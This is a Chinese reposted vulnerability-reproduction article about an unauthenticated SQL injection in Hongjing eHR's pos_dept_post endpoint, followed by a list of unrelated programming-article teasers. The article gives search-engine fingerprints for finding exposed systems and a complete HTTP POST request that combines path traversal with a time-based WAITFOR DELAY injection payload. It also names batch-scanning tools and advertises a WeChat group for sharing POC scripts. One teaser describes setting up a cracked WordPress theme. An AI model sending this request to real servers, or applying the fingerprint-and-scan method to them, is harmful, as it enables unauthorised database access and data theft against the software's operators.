当前位置： 首页 > news >正文

【漏洞复现】宏景eHR pos_dept_post SQL注入漏洞

news 文章来源：https://blog.csdn.net/m0_60571842/article/details/139578445 2025/1/13 10:23:51

0x01 产品简介

宏景eHR人力资源管理软件是一款人力资源管理与数字化应用相融合，满足动态化、协同化、流程化、战略化需求的软件。

0x02 漏洞概述

宏景eHR pos_dept_post 接囗处存在SQL注入漏洞,未经过身份认证的远程攻击者利用此漏洞执行任意SQL指令，从而窃取数据库敏感信息。

0x03 搜索引擎

body="<div class=\"hj-hy-all-one-logo\"" || title="人力资源信息管理系统" || body="/general/sys/hjaxmanage.js"

在这里插入图片描述

0x04 漏洞复现

POST /templates/attestation/../../pos/roleinfo/pos_dept_post HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
x-auth-token: d9eaeacd5de1008fd43f737c853dcbcb
Content-Type: application/x-www-form-urlencoded; charset=UTF-8usertable=h00&i9999=1';WAITFOR DELAY '0:0:5'--+

在这里插入图片描述

0x05 工具批量

nuclei

在这里插入图片描述

afrog

在这里插入图片描述

xray

在这里插入图片描述

POC脚本获取

请使用VX扫一扫加入内部POC脚本分享圈子
在这里插入图片描述

相关文章：

【漏洞复现】宏景eHR pos_dept_post SQL注入漏洞

0x01 产品简介 宏景eHR人力资源管理软件是一款人力资源管理与数字化应用相融合&#xff0c;满足动态化、协同化、流程化、战略化需求的软件。 0x02 漏洞概述 宏景eHR pos_dept_post 接囗处存在SQL注入漏洞,未经过身份认证的远程攻击者利用此漏洞执行任意SQL指令&#xff0c;…...

编程日记 2024/6/12 4:59:12

82. 删除排序链表中的重复元素 and II

链接直达&#xff1a; 保留重复元素 不保留重复元素 题目&#xff1a; 1: 给定一个已排序的链表的头 head &#xff0c; 删除所有重复的元素&#xff0c;使每个元素只出现一次 。返回 已排序的链表 。示例 1&#xff1a;输入&#xff1a;head [1,1,2] 输出&#xff1a;[1…...

编程日记 2024/6/12 4:58:11

C++ 判断目标文件是否被占用（独占）（附源码）

在IM软件中发起文件发送时，如果要发送的是某word文件，并且该word文件被office打开，则会提示文件正在被占用无法发送，如下所示： 那文件被占用到底是如何判断出来的呢？其实很简单，调用系统API函数CreateFile，打开该文件（OPEN_EXISTING），传入FILE_SHARE_READ共享读标记…...

编程日记 2024/6/12 4:55:06

计划任务 之 一次性的计划任务

计划任务 作用:定时自动完成特定的工作 计划任务的分类&#xff1a; &#xff08;1&#xff09;一次性的计划任务 例如下周三对系统的重要文件备份一次 &#xff08;2&#xff09;周期性重复计划任务 例如每天晚上12&#xff1a;00备份一次 一次性的任务计划&#xff1a…...

编程日记 2024/6/12 4:53:03

非比较排序之计数排序

目录 一、什么是计数排序 二、思路 三、代码实现 一、什么是计数排序 计数排序是一种非比较型的排序算法&#xff0c;它通过统计待排序数据中每个元素出现的次数&#xff0c;然后根据这个次数来进行排序。计数排序的具体步骤如下&#xff1a; 首先找出待排序数据中的最大值…...

编程日记 2024/6/12 4:52:01

Django路由与会话深度探索：静态、动态路由分发，以及Cookie与Session的奥秘

系列文章目录 Django入门全攻略&#xff1a;从零搭建你的第一个Web项目Django ORM入门指南&#xff1a;从概念到实践&#xff0c;掌握模型创建、迁移与视图操作Django ORM实战&#xff1a;模型字段与元选项配置&#xff0c;以及链式过滤与QF查询详解Django ORM深度游&#xff…...

编程日记 2024/6/12 4:48:58

第7章 用户输入和 while 循环

第7章 用户输入和 while 循环 7.1 函数 input()的工作原理7.1.1 编写清晰的程序7.1.2 使用 int()来获取数值输入7.1.3 求模运算符 7.2 while 循环简介7.2.1 使用 while 循环7.2.2 让用户选择何时退出7.2.3 使用标志7.2.4 使用 break 退出循环7.2.5 在循环中使用 continue7.2.6 …...

编程日记 2024/6/12 4:45:56

xshell远程无法链接上VM的centos7

1、现象如下&#xff0c; 2.1解决办法&#xff1a;查证后发现这个默认的设置为vmnet0 2.2解决办法&#xff1a;重启win10的虚拟机网卡&#xff08;先禁用再启用&#xff09; 3.参考文章&#xff1a;Xshell连接不上虚拟机centos7_centos7的nat模式可以ping通网络,但是用xshell连…...

编程日记 2024/6/12 4:44:55

拥抱AI-图片学习中的卷积神经算法详解

一、定义 卷积神经算法&#xff08;Convolutional Neural Networks, CNN&#xff09;是深度学习领域中的一种重要算法&#xff0c;特别适用于处理图像相关的任务。以下是卷积神经算法的详细解释&#xff1a; 1. 基本概念 定义&#xff1a;卷积神经网络是一类包含卷积计算且具…...

编程日记 2024/6/12 4:40:49

超详解——深入详解Python基础语法——基础篇

目录 1 .语句和变量 变量赋值示例&#xff1a; 打印变量的值&#xff1a; 2. 语句折行 反斜杠折行示例&#xff1a; 使用括号自动折行&#xff1a; 3. 缩进规范 缩进示例&#xff1a; 4. 多重赋值&#xff08;链式赋值&#xff09; 多重赋值的应用&#xff1a; 5 .多…...

编程日记 2024/6/12 4:39:48

系统架构设计师【论文-2017年 试题2】: 论软件架构风格（包括写作要点和经典范文）

题目&#xff1a;论软件架构风格 &#xff08;2017年 试题2&#xff09; 软件体系结构风格是描述某一特定应用领域中系统组织方式的惯用模式。体系结构风格 定义一个系统家族&#xff0c;即一个体系结构定义一个词汇表和一组约束。词汇表中包含一些构件和 连接件类型&#xff…...

编程日记 2024/6/12 4:37:47

Spring Boot 事务传播机制详解

Spring Boot 事务传播机制详解 1. 事务传播机制概述 Spring Boot 中的事务传播机制用于处理多个事务方法之间相互调用时的事务行为&#xff0c;保证数据的完整性和一致性。当务传播机制定义了在调用一个事务方法时&#xff0c;当前事务该如何传播或传递。Spring Boot 中的事务…...

编程日记 2024/6/12 4:35:45

【机器学习】生成对抗网络 (Generative Adversarial Networks | GAN)

生成对抗网络 (Generative Adversarial Networks | GAN) 介绍 生成对抗网络 (Generative Adversarial Networks&#xff0c;简称GAN) 是一种强大的深度学习模型&#xff0c;用于生成具有逼真感的图像、音频和文本等内容。GAN 的核心理念是通过训练两个神经网络&#xff0c;生…...

编程日记 2024/6/12 4:34:44

[ADS信号完整性分析]深入理解IBIS AMI模型设计：从基础到实践

在高速数字设计领域&#xff0c;信号完整性&#xff08;SI&#xff09;分析对于确保系统性能至关重要。IBIS AMI&#xff08;Algorithmic Model Interface&#xff09;模型作为一种强大的工具&#xff0c;能够帮助设计师在系统层面上评估和优化SERDES&#xff08;串行器/解串器…...

编程日记 2024/6/12 4:33:42

Plotly : 超好用的Python可视化工具

文章目录 安装&#xff1a;开始你的 Plotly 之旅基本折线图&#xff1a;简单却强大的起点带颜色的散点图&#xff1a;数据的多彩世界三维曲面图&#xff1a;探索数据的深度气泡图&#xff1a;让世界看到你的数据小提琴图&#xff1a;数据分布的优雅展现旭日图&#xff1a;分层数…...

编程日记 2024/6/12 4:32:41

Linux电话本的编写-shell脚本编写

该电话本可以实现以下功能 1.添加用户 2.查询用户 3.删除用户 4.展示用户 5.退出 代码展示&#xff1a; #!/bin/bash PHONEBOOKphonebook.txt function add_contact() { echo "Adding new contact..." read -p "Enter name: " name …...

编程日记 2024/6/12 4:31:40

蓝牙开发 基础知识

零、基础知识 0.1、Android 应用可通过 Bluetooth API 执行以下操作 扫描其他蓝牙设备查询本地蓝牙适配器的配对蓝牙设备建立 RFCOMM 通道通过服务发现连接到其他设备与其他设备进行双向数据传输管理多个连接 0.2、蓝牙进行通信的四大必需任务 设置蓝牙查找局部区域内的配对…...

编程日记 2024/6/12 4:30:39

QNX 7.0.0开发总结

1 QNX编译 1.1 基本概念 QNX可以直接使用Linux Makefile编译库和二进制&#xff0c;在Makefile文件中指定CCaarch64-unknown-nto-qnx7.0.0-g&#xff0c;或者CCx86_64-pc-nto-qnx7.0.0-g&#xff0c;保存退出后&#xff0c;运行source /qnx_sdk_path/qnxsdp-env.sh&#xff0c;…...

编程日记 2024/6/12 4:29:37

Golang使用讯飞星火AI接口

一、API申请 https://www.bilibili.com/video/BV1Yw411m7Rs/?spm_id_from333.337.search-card.all.click&vd_source707ec8983cc32e6e065d5496a7f79ee6 注册申请&#xff0c;需要在此页面获取appid、apisecret、apikey https://www.xfyun.cn/ https://console.xfyun.cn/ser…...

编程日记 2024/6/12 4:28:37

矫正儿童发音好帮手

《言语构音语音训练手册——下颌、唇部、舌部构音运动障碍》教辅书 儿童言语构音语音问题越来越受到家长的关注&#xff0c;大多数家长受到儿童说话晚、口齿不清、发音错误等问题的困扰&#xff0c;国外报道2岁儿童言语构音语音障碍达到17%&#xff0c;3岁达4%~7.5%&#xff0…...

编程日记 2024/6/12 4:27:36

wordpress主题导航主题v4.16.2哈哈版

1.下载授权接口源码onenav-auth-api-v2.zip &#xff0c;在宝塔新建一个网站&#xff0c;域名为 auth.iotheme.cn&#xff0c;设置wordpress伪静态&#xff0c;申请ssl证书。将上面源码解压后上传到此网站根目录。 2. 在宝塔根目录etc下 hosts 中添加 127.0.0.1 auth.iotheme.…...

编程日记 2024/6/12 4:26:35

内存分布图

1.基本数据类型和常量存放在常量池中。 2.类的成员存放在堆中&#xff0c;如果成员是其他类对象也存放在堆中 3.数组和数组的内容放在堆中 4.类对象存放在栈中。 5.单独的对象存放在栈中。 6.引用数据类型存放在堆或栈中。 Java中对象到底存在堆中还是栈中_java对象在堆还…...

编程日记 2024/6/12 4:22:29

如何发布自己的NPM插件包？

安装 Node.js &#xff1a; 如果没有安装的&#xff0c;Nodejs下载安装&#xff1a;http://nodejs.cn/download/ 首先确保你已经安装了 Node.js 和 npm。你可以通过运行以下命令来检查是否已经安装&#xff1a; node -v npm -v初始化项目&#xff1a; 创建一个新的项目文件夹…...

编程日记 2024/6/12 4:21:28

计算广告读书杂记-待整理

不知不觉已经在字节干了两年多广告研发&#xff0c;也跳槽去了一家广告公司继续深耕&#xff0c;借着这个劲&#xff0c;重新读一遍《计算广告》这本书&#xff0c;并将一些重点概念进行记录。...

编程日记 2024/6/12 4:19:26

No module named _sqlite3解决方案

大家好，我是爱编程的喵喵。双985硕士毕业，现担任全栈工程师一职，热衷于将数据思维应用到工作与生活中。从事机器学习以及相关的前后端开发工作。曾在阿里云、科大讯飞、CCF等比赛获得多次Top名次。现为CSDN博客专家、人工智能领域优质创作者。喜欢通过博客创作的方式对所学的…...

编程日记 2024/6/12 4:17:24

防飞单，赢市场：售楼处客流统计管理新篇章

在竞争激烈的房地产市场中&#xff0c;售楼处作为楼盘销售的重要窗口&#xff0c;其管理效率和服务质量直接关系到楼盘的销售业绩和品牌形象。然而&#xff0c;传统的客户人数统计方式往往存在诸多不足&#xff0c;如数据不准确、统计效率低下等&#xff0c;这些问题给售楼处的…...

编程日记 2024/6/12 4:16:23

LeetCode：419. 甲板上的战舰（遍历 Java）

目录 419. 甲板上的战舰 题目描述&#xff1a; 实现代码与解析&#xff1a; 遍历 原理思路&#xff1a; 419. 甲板上的战舰 题目描述&#xff1a; 给你一个大小为 m x n 的矩阵 board 表示甲板&#xff0c;其中&#xff0c;每个单元格可以是一艘战舰 X 或者是一个空位 . &…...

编程日记 2024/6/12 4:15:23

【python】OpenCV—Blob Detection（11）

学习来自OpenCV基础&#xff08;10&#xff09;使用OpenCV进行Blob检测 文章目录 1、cv2.SimpleBlobDetector_create 中文文档2、默认 parameters3、配置 parameters附录——cv2.drawKeypoints 1、cv2.SimpleBlobDetector_create 中文文档 cv2.SimpleBlobDetector_create 是 O…...

编程日记 2024/6/12 4:12:19

【C++】 基础复习 ｜ 数据类型，输入，输出流 scanf printf

文章目录 1 基本数据类型1.1 基本数据类型1.2 构造类型1.3 指针类型&#xff08;Pointers&#xff09; 2 基础输入输出2.1 通过输入输出操作符>> <<2.2 通过scanf和printf输入和输出2.2.1 输出printf 函数2.2.2 输出scanf 函数2.2.3 注意事项 1 基本数据类型 了解…...

编程日记 2024/6/12 4:11:18

linux pxe和无人值守

一 PXE和无人值守 pxe c/s模式 允许客户端通过网络从远程服务器&#xff08;服务端&#xff09;下载引导镜像 加载安装文件 实现自动化安装操作系统 无人值守 就是安装选项不需要认为干预 可以自动化实现 pxe的优点 1 规模化 同时装配多台服务器 20多 30台 2 自动化 …...

编程日记 2024/6/12 4:09:16

保证量身定制的营销型网站/站长工具app官方下载

功能概述&#xff1a;智能可配置的权限管理&#xff0c;一处部署随处可用&#xff0c;适用于任何语言开发的系统使用&#xff0c;不论你是PC端还是移动APP端都可以很好的使用&#xff0c;因为本系统提供的是一套基于完备高可用的API操作&#xff0c;API和后台分离部署使用&…...

编程日记 2025/1/13 10:15:14

网站建设 慕课/短视频营销推广策略

编码一个SMS一般需要如下的信息&#xff1a;TP_Data_Coding_SchemeTP_UD编码方式TP_Destination_Address对方号码TP_Message_Reference参考号码TP_Status_Report_Request状态报告TP_User_Data用户信息TP_Validity_Priod有效期ServiceCenterNumber短信中心号码所以在编码器中存在…...

编程日记 2025/1/13 9:31:29

深圳市建设管理中心网站首页/平台推广是做什么的

免责声明&#xff1a;文中有一些图片来源自网络&#xff0c;如有版权请通知我删除&#xff0c;谢谢&#xff01;网络启动最早用于无盘系统&#xff0c;那时的电脑只配备软驱也没有网络&#xff0c;系统启动速度慢而且功能简单。后期虽然有了硬盘后&#xff0c;但造价昂贵、管理…...

编程日记 2025/1/13 9:15:11

网站开发经济可行性分析/武汉seo搜索引擎优化

内网穿透 一、介绍 1.概念 ​ 内网穿透简单来说就是将内网外网通过natapp隧道打通,让内网的数据让外网可以获取。比如常用的办公室软件等&#xff0c;一般在办公室或家里&#xff0c;通过拨号上网&#xff0c;这样办公软件只有在本地的局域网之内才能访问&#xff0c;那么问…...

编程日记 2025/1/13 6:10:43

淄博哪里有网站建设平台/产品怎么做市场推广

1.原因&#xff1a;刚进入这家公司&#xff0c;给同事交接完&#xff0c;直接使用他的电脑&#xff0c;每次提交代码都显示他的用户名&#xff0c;本以为是电脑系统名称呢&#xff0c;可是修改了之后没有效果 2.解决方案&#xff1a; 打开C盘里的 .gitconfig文件 看下git的用户…...

编程日记 2025/1/13 4:18:41

商业网站开发 流程/如何提高搜索引擎优化

按照微软的计划&#xff0c;Edge在Windows 10的部署应当算是公司发展迈出的重要一步&#xff0c;不过新的研究结果可能会让这个计划变得不那么顺利。据悉&#xff0c;Edge的InPrivate(隐私)可能并没有看起来那么隐私。根据Ashish Singh的研究了解到&#xff0c;InPrivate下的访…...

编程日记 2025/1/13 2:04:19